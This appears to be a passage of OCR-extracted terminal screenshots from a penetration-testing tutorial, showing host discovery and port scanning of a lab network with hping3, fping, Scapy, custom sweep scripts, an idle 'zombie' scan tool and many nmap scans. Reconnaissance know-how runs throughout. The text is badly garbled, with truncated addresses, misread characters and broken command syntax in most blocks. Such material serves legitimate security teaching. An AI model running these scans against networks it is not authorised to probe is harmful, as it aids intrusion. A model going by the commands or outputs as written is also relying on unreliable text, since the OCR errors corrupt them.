Scanned 256 of 256 hosts (100% complete)
Auxiliary module e:ccutlon completed
auxiliary(

File Edit View Search Terminal Help
:~# hping3 172.16.69.1 --icm
HPING 172.16.69.1 {eth® 172.16.69.1): p mode set, 28 headers + 0 data bytes
len=46 ip=172.16.69.
ip=172.16.
1 .16.69, 4 id=57485 icmp_s
ip=172.16 .1 ttl= 64 1d 968 1|mp seq=3 rtt=
ip=172.16.
ip=172.16.69. :
1en_45 ip=172.16.69. t 4 id=17861 1me seq=6 rt
~C
- 172.16.69.1 hping statistic ---
7 packets transmitted, 7 packets received, packet loss
round-trip m g/max = 5.0/6.0/7.1 ms

~# 11

File Edit View Search Terminal Help
:~# hping3 172.16.69.1 --icmp -
HPING 172.16.69.1 (eth® 172.16.69.1 icmp mode set, 28 headers + 0 data bytes
len=46 ip=172.16.69.1 ttl=64 1d=57703 icmp_se
len=46 ip=172.16.69.1 ttl=64 id=10621 icmp seg=1 rtt=

--- 172.16.69.1 hping statistic ---
2 packets transmitted, 2 packets
tound trip min/avg/ =5.1/5.1/5.2 m
~# 11
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File Edit View Search Terminal Help
:~# hping3 172.16.69.145 --icmp -c 2
HPING 172.16.69.145 (eth@ 172.16.69.145): icmp mode set, 28 headers + @ data bytes

- 172.16.69.145 hping statistic ---
2 packets transmitted, @ packets received, 108% packet loss
round-trip miﬁ avg/m 0.6/0.6/0.0 ms
i~#

File Edit View Search Terminal Help

:~# hping3 172.16.69.1 --icmp -c 1; hping3 172.16.69.145 --icmp -c 1 | grep "len”
HPING 172.16.69.1 (eth® 172.16.69.1): icmp mode set, 28 headers + O data bytes
len=46 ip=172.16.69.1 tt1=64 1d=31597 icmp_seq=0 rtt=5.2 ms

- 172.16.69.1 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 5.2/5.2/5.2 ms

--- 172.16.69.145 hping statistic ---
1 pack transmitted, @ packet: 160% packet loss
round-trip min/avg/max = 0.0/ 6

ey |

File Edit View Search Terminal Help
:~# hping3 172.16.69.1 --icmp -c 1 >> handle.txt

- 172.16.69.1 hping statistic ---
1 packets transmitted, 1 packets received, packet loss
round-trip min/avg/max = 4.1/4.1 1 ms
:~# hping3 172.16.69.145 --icmp -c 1 >> handle.

- 172.16.69.145 hping statistic ---
kets transmitted, @ packe ceived, 100% packet loss
0.0/0.0/0.0

HPING 1?2 16 . icmp mode set, 28 headers + 0 data bytes
len=46 ip=17 4 i 32 icmp_seq 1 ms
HPING 172.16 9 145 |Pth0 172.16.69.145): icmp mode set, 28 headers + @ data bytes

~#1
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File Edit View Search Terminal Help
:~# for addr in {1..254}; do hping3 172.16.69.%addr --icmp -c 1 >> handle.txt & done

15032
15033
15034
15035
15036
15037
15038

File Edit View Search Terminal Help

- 172.16.69.38 hping statistic ---
1 packets transmitted, @ packe received, 100% packet loss
round-trip min/avg/max .6/0.6/0.0 ms
1 packets transmitted, 1 packets received, 0% packet loss

--- 172.16.69.35 hping statistic ---

1 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = .0/0.0 ms

round-trip min/avg/max .5/104.5/104.5 ms

[136] 15168

- 172.16.69.39 hping statistic ---
1 packets transmitted, 0 pack received, 100% packet loss
round-trip min/avg/me 0.0/0.8/0.0 ms

- 172.16.69.132 hping statistic ---
1 packets tr i 1 packets received, packet loss
round-trip min, 79.7/79.7/79.7 ms

--- 172.16.69.131 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss

File Edit View Search Terminal Help
grep len handle.t

ip=172.16.69. 4 id=
ip=172.16.69. = rtt= ut

6 ip=172.16.69. 9134 icmp s rtt=28.0 ms
ip=172.16.69. icmp seq=0 rtt=47.6 ms
1p=1?2-16‘69. 36 id=61717 icmp seq=0 rt .2 ms

~#

File Edit View Search Terminal Help
:~# grep len handle.txt
len=46 ip=172.16.69.1 tt1=64 i
ip=172.16.
ip=172.16.6
ip=172.16.69
ip=172.16.
: grep len handle.txt | cut -d " " -f
.16.69.1
.16.69.132
.16.69.131
2.16.69.128

.138
# grep len handle.txt | cut -d " " -f 2 | cut -d "="
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File Edit View Search Terminal Help
~# ./ping s p.sh
Usage - . ng sweep.sh [/24 network address]
Example - ping sweep.sh 172.16.36.0
Example will perform an ICMP ping sweep of the 172.16.36.0/
network and output to an output.tx
:~# ./ping_sweep.sh 172.16.69.0

round-trip min/a

--- 172.16.69.2 hping st
1 packets transmitted
round-trip min/avg/ma

--- 172.16.69.3 hping statistic ---
1 packets transmitted, 0 packets received,
round-trip min/avg/ma: 0.0/0.0/0.0 ms

-== 172.16.69.4 hping statistic
1 packets transmitted, packets received,
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 172.16.69.5 hping stat

File Edit View Search Terminal Help

i~# cat output.tx
.13e
131
132
.129
128

.69.135

6.69.1

File Edit View Search Terminal Help
-# np1nga - lep 1?2 16. 69 12’!
. udp mode set, 28 headers + 8 data bytes
.148 name=UNKNOWN

po
ICMP Port Unr i .16.69. name=UNKNOWN
status=0 port
ICMP Port Unreac rom ip=172.16.69. name=UNKNOWN

name=UNKNOWN
status=0 port=29
ICMP Port Unreachable f ip=172.16.69. name=UNKNOWN
status=0 por 953 se
ICMP Port Unreachable f ip=172.16.69.128 name=UNKNOWN
statu* 0 port=2954 seg=5

6 pack Ts t\a t d b ot e ] packet loss
round-trip mi

=2 |

File Edit View Search Terminal Help
~# hping3 --udp 172.16.69.128 -c 1
HPINF lT‘ 16. 59 128 (eth@ 172.16.69.128): udp mode set, 28 headers + 8 data bytes
chable from ip=172.16.69.128 name=UNKNOWN
0 port=1124 seq=0

--- 172.16.69. 178 hpil statistic -

acket loss
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File Edit View Search Terminal Help
:~# hping3 --udp 172.16.69.145 -c 1
HPING 172.16.69.145 (eth@ 172.16.69.145): udp mode set, 28 headers + 8 data bytes

--- 172.16.69.145 hping statistic -

File Edit View Search Terminal Help

:~# hping3 --udp 172.16.69.128 -c 1; hping3 --udp 172.16.69.145 -c 1 |
HPING 172.16.69.128 (eth@ 172.16.69.128): udp mode set, 28 headers + @ data byte
ICMP Port Unreachable from ip=172.16.69.128 name=UNKNOWN
stat por 777 se

grep "Unreachable"

--- 172.16.69.128 hping statistic ---
: itted, 1 packets recei

--- 172.16.69.145 hping statistic -

1 packets tr itted, 0 packets recei

round-trip mi = 0.0/6.0/0.0 ms
=

File Edit View Search Terminal Help
:~# hping3 --udp 172.16.69

172.16.69.128 hping
ckets transmitted, 1 packets re packet loss
und-trip min/avg/ma 15.3/15.3/15.3 ms
:~# hping3 --udp 172.16.69.145 -c¢ 1 >> hand

--- 172 .69.145 hping statistic -
1 packets transmitted, @ pi celive packet loss
round-trip min/a D
:~# cat handle
HPING 172.16.69.128 (eth@ 172.16.69.128): udp mode set, 28 headers + @ data bytes
ICMP Port Unreachable from ip=172.16.69.128 name=UNKNOWN
status=@ pi 81 0
HPING 172.16 .145 (eth® 172.16.69.145): udp mode set, 28 headers + @ data bytes

Y]

File Edit View Search Terminal Help
:~# for addr in $(seq 1 254); do hping3 .16.69.%addr --udp -c 1 >> handle.txt & done
16674
16675
16676
16677
16678

File Edit View Search Terminal Help

.178 hping statistic -
nsmitt

--- 172.16.69.176 hping statistic ---
1 packets transmitted
round-trip min/a

ransmitted
round-trip min/a
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File Edit View Search Terminal

ep Un
chable

Help

=# gr
ICMP Port Unrea
data byt
ICMP Port Unreachable from ip=172.

ta by

ICMP Port Unreachable from ip=172.16

ta bytes

ICMP Port Unreachable from ip=172.

. .HPING 6.69.130 (eth® 172.16.69.130): udp mode set, 28 headers + @

.HPING 6.69.40 (ethd 172.16.69.40): udp mode set, 28 headers + 0 da

get hostname...HPING 6.69.47 (eth® 172.16.69.47): udp mode set, 28 headers + @ da

32 name=UNKNOWN

Edit View Search Terminal
:~# grep Unreachabl
CMP Port Unreachable from i
data bytes

File

Help
ha

ICMP Port Unreachable from ip=172.

ata bytes

ICMP Port Unreachable from ip=172.

hable from ip:
# grep Unreachable han
.16.69.128
.16.69.130
.16.69.131

P
ip=172

~# grep Unreachable han
172.16
.69.13
.69.132
~# 1

ndle

get hostname...HPING .16.69.130 (eth® 172.16.69.130): udp mode set, 28 headers + @

16. get hostname...HPING 172.16.69.40 (eth® 172.16.69.40): udp mode set, 28 headers + @ d

16. get hostname...HPING 2.16.69.47 (eth® 172.16.69.47): udp mode set, 28 headers + @ d

16

. 69.132
dle.

txt | cut

NKNOWN
-T5

name=!
-d

dle.txt | cut -d " " -f5 | cut -d "="

Edit View Search Terminal
-# ./udp sweep.sh
h [/24 netwo

Help

rk address]

/udp sweep.sh 172.16.36.0

a 1 perform a UDP ping
network and output to an output.
:~# .fudp sweep.sh 172

--- 172.16.69.1 hping statistic

1 ets transmitted, @
round-trip mi X

3 hping statistic --

nsmitted,

t packet
round-trip min/avg/m

S

0.8/8.0/

2p of the 172.16.36.0/24
t file

Wi

packet loss

packet loss

Edit View Search Terminal
:~# cat output.txt
9.1

File Help
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File Edit View Search Terminal Help
-# Mplnq; 172.16.69.128
HF’ING 1?4. 16.69 (etho 172.16.69.128):
ip=172.16.69.128
ip=172.16.69.128
ip=172.16.69.128
ip=172.16.69.128
6 1p=172.16.69.128
ip=172.16.69.128 t
ip=172.16.69.128 flags=RA

--- 172,16.69.128 hping s
7 packets tramrnnwd 7 panl-.et= recm ed, @ acket los
round- ‘[Ilp m T

-#

File Edit View Search Terminal Help

-# hping3 172.16.69.128 -c 1
HPING 1?‘. 16.69.128 (eth® 172.16.69.128): NO FLAGS are s
len=46 ip=172.16.69.128 ttl=64 DF i f

--- 172.16.69.128 hping statis
1 packets transmitted, 1 pa[|-.
round-trip min/ay
:~# hping3 172
HPING 172.16.69.145 (eth® 172.16 .145): NO FLAGS are set, 40 headers + 0 data bytes

--- 172.16.69.145 hping statis --
ckets transmitted, 8 pa packet loss

File Edit View Search Terminal Help
:~# ./tcp_sweep.sh
tcp sweep.sh [/24 ne rk address]
/tcp sweep.sh 172.16.36.0
11 perform a tcp ping sweep of the 172.16.36.0/24
network and output to an output.txt file
i~# ./tcp sweep.sh 172.16.69.0

--- 172.16.69.1 hping statistic
1 packets transmitted, 1 packets received, packet loss
round-trip min/avg/max = 4.7/4.7/4.7 ms

nsmitted,
round-trip min/a

=== 172.16.69.3 th_nq statistic ---
1 pa
round-trip mi

File Edit View Search Terminal Help
:~# cat output.txt
1

.128
9.130

.131
.132

.-#|
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File Edit View Search Terminal Help

:~# ping 172
.16.69.128 (1
from 172.16.
from 172.
from 172.
from 172.
from 172.
from 172.
from 17

s from 172.

.128 ping statisti
itted, 8 received, 0O et loss, time 7174ms
(/mdev = 0.196/0.2 0. /0.038 ms

(84) bytes of data.
i .1

--- 172.16.69.128 ping statisti
2 packets transmitted, 2 received, ©
rtt min/av mdev = 0.395/0.

File Edit View Search Terminal Help

:~# ping 172.16.69.128 -c
PING 172.16.69.128 (172.16.69.128) 56(B4) bytes of data.
64 bytes from 172.1 .128: icmp seg=1 tt1=64 time=

--- 172.16.69.128 ping s
1 pe s transmitted 3 ket 1o time @ms
rtt min/avg/max/mdev 1.002/1.002/ 00

: 145 -c 1
PING 172.16.69.145 ( .145) 56(84) bytes of data
From 172.16.69.133 1 1 Host Unreachable

172.16.69.145 ping statisti --
ets transmitted, @ received, +1 errors, 100% packet loss, time @ms

File Edit View Search Terminal Help
:~# ping .16. -c 1 | grep "bytes from"
from 172.16 icmp_seg=1 tt 4 time=0.822 ms
72.16.69.128 -c 1 | arep s from" | cut -d * " -7 4

172.16.69.128 -c 1 | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1

File Edit View Search Terminal Help
sh
- [/24 network address]

Example - ./ping sweep.sh 172.16.3
Example will perform an ICMP ping sweep of the 172.16.36.
network and output to an output.txt file

:~# ./ping sweep.sh 172.16.69.0

1
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File Edit View Search Terminal Help
L /ping sweep.sh 172.16. 68 > output.txt
:~# cat output.txt

File Edit View Search Terminal Help
:~# fping 172.16.69.128 -
128 is alive

File Edit View Search Terminal Help
:~# fping 172.16.69.145
hable from 172.16.69.133 for ICMP sent to
hable from 172.16.69.133 for ICMP t to
chable from 172.16.69.133 for ICHMP sent to
hable from 172.16.69.133 for ICMP sent to
unreachable

File Edit View Search Terminal Help
:~# fping 172.16.69.128 -c
: [0], 84 bytes, 2.

X = 2.69/2.69/2.69

172.16.69

File Edit View Search Terminal Help
172.16.69.1 172.16.

from 172.16.69.133 ICHP

from 172. .133 ICHP

from 6.69.133 ICHMP

from . .133 ICHP

e from 172. .133 ICHP

hable from .69.133 1cmp

hable from 17: .69.133 ICHP

Unreachable from 172.16 133 ICHP

hable from .69.133 1CHP

e from . 3 ICHP

e from 172. . - ICMP

Unreachable from 172.16.69.133 ICMP
2 is unreachable
hable
s unreachable

[ T Y Y o R T
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File Edit View Search Terminal Help

:~# fping -g 172.16.69.
11 live

le from 172.16.69.13 ICMP Echo s
e from . r ICMP Echo s
Unreachable from 172. for ICMP Eche sen
Unreachable from 172.16.69. ICMP Echo
ble from .69. r ICMP Echo
from - ICMP Echo
Unreachable from .69. ICMP Echo
ICMP Host Unreachable from .69.13 ICMP Echo
172.16.69.12 alive
ICMP Host Unreachable from .69. r ICMP Echo
172.16.69. i iy
Unreachable from 172.16.69.13 ICHP
.131 is alive
hable from 172.16.69.13 r ICHP
chable from 172.16.69.133 IcHMP

- R T NN

File Edit View Search Terminal Help

hable from 172.16.69.133 for ICMP Echo
Unreachable from 133 for ICMP Echo 7
C st Unreachable from .69.133 for ICMP Echo t 72.16.69.13
ICMP Host Unreachable 172.16.69.133 for ICMP Echo to 172.16.69.132
172.16.69.129 is unreachable
172.16.69.135 is unreachable
i-#
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Chapter 4: Port Scanning
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>>> U = UDP()
>>> u.display()
| 14

> u.dport = 123
u.display()
13###
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e d|

request = (i/u)
request.display()
1444

>>>

request = (i/u)
request.display()
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>>> srl (IP(dst="172.16.69.128")/UDP(dport=123))
Begin emission:

.Finished to send 1 packets.

o

Received 2 packets, got 1 answers, remaining @ packets

< = = t
src=172.16.69.128 dst=172.16.69.133 =

= src=172.16.69.133 dst=172.16.69.128
= | >>>>

>>> srl (IP(dst="172.16.69.128")/UDP(dport=53),timeout=1,verbose=1)
Begin emission:
Finished to send 1 packets.

Received 13 packets, got 0 answers, remaining 1 packets

:~/book# ./udp scan.py 172.16.69.128 1 100

i=IP()
i.display()
#H] |E:2-
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= TCP(}.’
.display()
1#HHE

>>> request = (i/t)
request.display()
#H# [ 13##
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>>> response = srl{request)
Begin emission:

.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets

559

>>> response = srl{request)

Begin emission:

..Finished to send 1 packets.

Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()

#Hi#[ 1444

mnwnn

72.16.69.128
72.16.69.133

\
1###

src= 172.16.69.133

st= 172.16.69.128

k0
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>>> sr1(IP(dst="172.16.69.128")/TCP(dport=80))
Begin emission:

Finished to send 1 packets.

Y

Received 1 packets, got 1 answers, remaining 0 packets

>>> response=srl(IP(dst="172.16.69.128")/TCP(dport=4444),timeout=1,verbose=1)
Begin emission:
Finished to send 1 packets.

Received 1 packets, got 1 answers, remaining © packets
L

-

:~/book# chmod 777 syn scan.py
:~/book# ./syn scan.py
- ./syn_scan.py [Target-IP] [First Port] [Last Port]
Example - ./syn scan.py 10.0.0.5 1 1600
Example will TCP SYN scan ports 1 through 100 on 10.0.0.5
:~/book# [

:~/book# ./syn scan.py 172.16.69.128 1 160
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File Edit View Search Terminal Help
3= # nc -lvp 4444
listening on [any] 4444
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[Rip:src ==172.16.69.128 || ip.dst == 172.16.69.128 B -] Expression.. | +

No. Time Source Destination Protocol Length Info
203 8. 378445091 172.16.69.133 172 .16.69.128 TCP 56 20-80 [SYN] Seq=0 W1n=8192 Len=0
379968932 172 16 69 128 172.16.69.133 TCP 62 B80—-20 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
3 6.6 C 56 20-80 [RST] Seg=1 Win=0 Len=0

File Edit View Search Terminal Help
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 172.16.69.128 -j DROP
/book# iptables --list
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
prot opt source destination
tcp -- anywhere 172.16.69.128 tcp flags:RST/RST
#

File Edit View Search Terminal Help
b nc -lvp 4444
llstenlng on [any] 4444

[A[ip.src == 172.16.69.128 || ip.dst == 172.16.69.128 B3 -| Expression...

No. Time Source Destination Protocol Length Info
98 6.332560032 172.16.69.133 172.16.69.128 55 20-80 [SYN] Seq=0 Win=8192 Len=0
100 6.333062543 172.16.69.128 172 16.69.133 -20 [SYN, ACK] Seq Ack=1 W1l 5540 Len=0 MSS=1460
0 34 2 133 6 ! 'f [TCP Keep-Alivel [ACK] Q

File Edit View Search Terminal Help
D iptables --flush
iptables --list
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination
~/books#
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File Edit View Search Terminal Help
replyl = sr1(IP(dst: 72.16.69.129")/TCP(flags Ml verbose=0)
reply2 = sr1(IP(dst="172.16.69.129")/TCP(flags="5A") verbose=0)
replyl.display()

1###

##]
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File Edit View Search Terminal
book# ./zombie.py

Zombie Scan Suite

Help

- Identify Zombie Host

2 - Perform Zombie Scan

Select an Option (1 or 2): 1

Enter IP address to test IPID sequence: 172.16.69.129

IPID sequence is incremental and target appears to be idle. ZOMBIE LOCATED
Do you want to use this zombie to perform a scan? (Y or N): Y

Enter the IP address of the target system: 172.16.69.129

Scanning target 172.16.69.129 with zombie 172.16.69.129

File Edit View Search Terminal Help
:~# nmap -sU 172.16.69.128

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 @7:05 EST
Nmap scan report for 172.16.69.128

Host is up (0.00026s latency).

Not shown: 993 closed ports

PORT STATE

53/udp  open

68/udp  open|filtered
open|filtered
open

SERVICE
domain
dhcpc
tftp
rpcbind

netbios-ns

netbios-dgm
nfs
00:0C:29:96:8

open
open|filtered
open

MAC Address:

:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1099.81 seconds
‘g

File Edit View Search Terminal Help
:~# nmap 172.16.69.128 -sU -p 53

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 87:29 EST
Nmap scan report for 172.16.69.128

Host is up (0.00024s latency

PORT  STATE SERVICE

53/udp open domain

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
#

E
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File Edit View Search Terminal Help
:~# nmap 172.16.69.128 -sU -p 1-100

Starting Nmap 7.4 ( https://nmap.org ) at 2017-01-23 07:30 EST
Mmap scan report for 172.16.69.128

Host is up (0.00028s latency).

Not shown: 97 closed ports

PORT  STATE SERVICE

53/udp open domain

68/udp open|filtered dhcpc

69/udp open|filtered tftp

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 118.11 seconds

File Edit View Search Terminal Help
:~# nmap 172.16.69.0-255 -sU -p 53

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 @7:33 EST
Mmap scan report for 172.16.69.1

Host is up (0.00015s latency).

PORT  STATE SERVICE

53/udp closed domain

MAC Address: 00:50:56:C0:00:01 (VMware)

Nmap scan report for 172.16.69.128
Host is up (0.00021s latency).

PORT  STATE SERVICE

53/udp open domain

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap scan report for 172.16.69.129
Host is up (0.00016s latency).

PORT  STATE SERVICE

53/udp open|filtered domain

MAC Address: 00:0C:29:94:63:4B (VMware)

Nmap scan report for 172.16.69.

Host is up (0.000076s latency).

PORT  STATE SERVICE

53/udp open|filtered domain

MAC Address: 00:50:56:F0:74:70 (VMware)

Nmap scan report for 172.16.69.133
Host is up (0.000034s latency).
PORT  STATE SERVICE

53/udp closed domain

Nmap done: 256 IP addresses (5 hosts up) scanned in 28.19 seconds
~# 1
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File Edit View Search Terminal Help
:~# nmap -ilL iplist.txt -sU -p 123

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 @7:4@ EST
Nmap scan report for 172.16.69.128

Host is up (0.00014s latency).

PORT STATE SERVICE

123/udp closed ntp

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap scan report for 172.16.69.129
Host is up (0.00036s latency).

PORT STATE SERVICE

123/udp open|filtered ntp

MAC Address: 00:0C:29:94:63:4B (VMware)

Nmap scan report for 172.16.69.130
Host is up (0.00025s latency).

PORT STATE SERVICE

123/udp closed ntp

MAC Address: 00:0C:29:EB:A5:8A (VMware)

Nmap scan report for 172.16.69.131
Host is up (0.00041s latency).

PORT STATE SERVICE

123/udp open ntp

MAC Address: 00:0C:29:97:29:82 (VMware)

Nmap scan report for 172.16.69.132
Host is up (0.00020s latency).

PORT STATE SERVICE

123/udp closed ntp

MAC Address: 00:0C:29:9E:F9:15 (VMware)

Nmap done: 5 IP addresses (5 hosts up) scanned in 13.28 seconds
~# 11

File Edit View Search Terminal Help
:~# nmap -sS 172.16.69.128 -p 80

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 07:42 EST
Nmap scan report for 172.16.69.128

Host is up (0.00034s latency).

PORT  STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

File Edit View Search Terminal Help
:~# nmap -sS 172.16.69.128 -p 21,80,443

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 07:45 EST
Mmap scan report for 172.16.69.128
is up (0.00030s latency).

STATE SERVICE

open ftp

open http

closed https
MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds
=1 |
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File Edit View Search Terminal Help
:~# nmap -s55 172.16.69.128 -p 20-25

Starting Nmap 7.4 ( https://nmap.org ) at 2017-01-23 07:45 EST
Mmap scan report for 172.16.69.128

Host is up (0.0024s latency).

PORT  STATE SERVICE

20/tcp closed ftp-data

21/tcp open ftp

22/tcp open  ssh

23/tcp open  telnet

24/tcp closed priv-mail

25/tcp open  smtp

MAC Address: 00:0C:29:96:81:F2 (VMware)

Mmap done: 1 IP address (1 host up) scanned in 13.06 seconds

File Edit View Search Terminal Help
:~# nmap -sS 172.16.69.128

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 @7:47 EST
Nmap scan report for 172.16.69.128
Host is up (0.00011s latency).
Not shown: 977 closed ports

STATE SERVICE

open Ttp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresql

open vnc

open X11

open irc

open ajpl3

open unknown
MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds
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File Edit View Search Terminal Help

c~# nmap -

55 172.16.69.128 -p 0-65535

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:43 EST
Nmap scan report for 172.16.69.128

Host is up (0.00082s latency).

Not shown: 65505 closed ports

PORT

0/tcp

21/tcp
22/tcp
23/tcp
25/tcp
53/tcp
80/tcp
111/tcp
139/tcp
445/ tcp
512/tcp

5432/tcp
5900/tcp
6600/ tcp
6667/tcp
6697/tcp
8609/tcp
8180/tcp
8787/tcp
35663/tcp
35744/ tcp
45296/ tcp
54034/tcp

STATE
filtered
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

SERVICE
unknown

fip

ssh

telnet

smtp

domain

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-Ttp
mysql
distccd
postgresql
vnc

X11

irc

ircs-u
ajpl3
unknown
msgsrvr
unknown
unknown
unknown
unknown

Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds
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:~# nmap 172.16.69.128-135 -sS -p 8@

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:51 EST
Nmap scan report for 172.16.69.128

Host is up (0.0011s latency).

PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 172.16.69.
Host is up (0.00024s latency).
PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.
Host is up (0.00032s latency).
PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 172.16.69.
Host is up (0.00032s latency).
PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.
Host is up (0.00044s latency).
PORT  STATE SERVICE

80/tcp open hitp

Nmap scan report for 172.16.69.
Host is up (0.00013s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.00027s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.00023s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap done: 8

I
-y

P addresses (8 hosts up) scanned in 0.27 seconds
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~# cat iplist.txt
172.16.69.128
172.16.69.129
172.16.69.130
172.16.69.131
172.16.69.132
t~# nmap -sS -il iplist.txt -p 80

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:53 EST
Nmap scan report for 172.16.69.128

Host is up (0.00038s latency)

PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 172.16.69.129
Host is up (0.00017s latency)

PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.130
Host is up (0.00046s latency).
PORT  STATE SERVICE

88/tcp open http

Nmap scan report for 172.16.69.131
Host is up (0.00044s latency).
PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.132
Host is up (0.00040s latency)

PORT  STATE SERVICE

80/tcp open http

Nmap done: 5 IP addresses (5 hosts up) scanned in 0.09 seconds

~#

File Edit View Search Terminal Help
:~# nmap -sT 172.16.69.128 -p 80

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:54 EST
Nmap scan report for 172.16.69.128

Host is up (0.00017s latency).

PORT  STATE SERVICE

80/tcp open hitp

Nmap done: 1 iP address (1 host up) scanned in 0.08 seconds
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:~# nmap -sT 172.16.69.128 -p 21,80,443

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 88:55 EST
Nmap scan report for 172.16.69.128

Host is up (0.00033s latency).

PORT STATE SERVICE

21/tcp open ftp

80/tcp open  http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
~# ]

File Edit View Search Terminal Help
t~# nmap -sT 172.16.69.128 -p 20-25

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:56 EST
Nmap scan report for 172.16.69.128
Host is up (0.00072s latency)

STATE SERVICE

closed ftp-data

open ftp

open  ssh

open telnet

closed priv-mail

open  smtp

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
= |
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c~# nmap -sT 172.16.69.128

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:56 EST
Nmap scan report for 172.16.69.128
Host is up (0.0045s latency).
Not shown: 977 closed ports

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open 1ingreslock

open nfs

open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open XI11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in @.16 seconds
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:~# nmap -sT 172.16.69.128 -p 0-653535

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 08:58 EST
Nmap scan report for 172.16.69.128
Host is up (08.0818s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE
0/tcp filtered unknown
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp  open rpcbind
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-Ttp

open mysql
3632/tcp open distccd
5432/tcp open postgresqgl
5900/tcp open vne
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajpl3
81808/tcp open unknown
8787/tcp open msgsrvr
35663/tcp open unknown
35744/tcp open unknown
45296/tcp open unknown
54034/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 6.01 seconds
~# 11
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:~# nmap -sT 172.16.69.0-255 -p 80

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 09:82 EST
Nmap scan report for 172.16.69.0

Host is up (0.011s latency).

PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.8011ls latency).
PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.
Host is up (0.0017s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.0017s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.0018s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.0017s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.8017s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.
Host is up (0.0018s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 172.16.69.8
Host is up (0.0018s latency).
PORT  STATE SERVICE

ON fbm 1T bmnd Lbdm
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~# cat iplist.txt
172.16.69.128
172.16.69.129
172.16.69.130
172.16.69.131
172.16.69.132
:~# nmap -sT -ilL iplist.txt -p 80

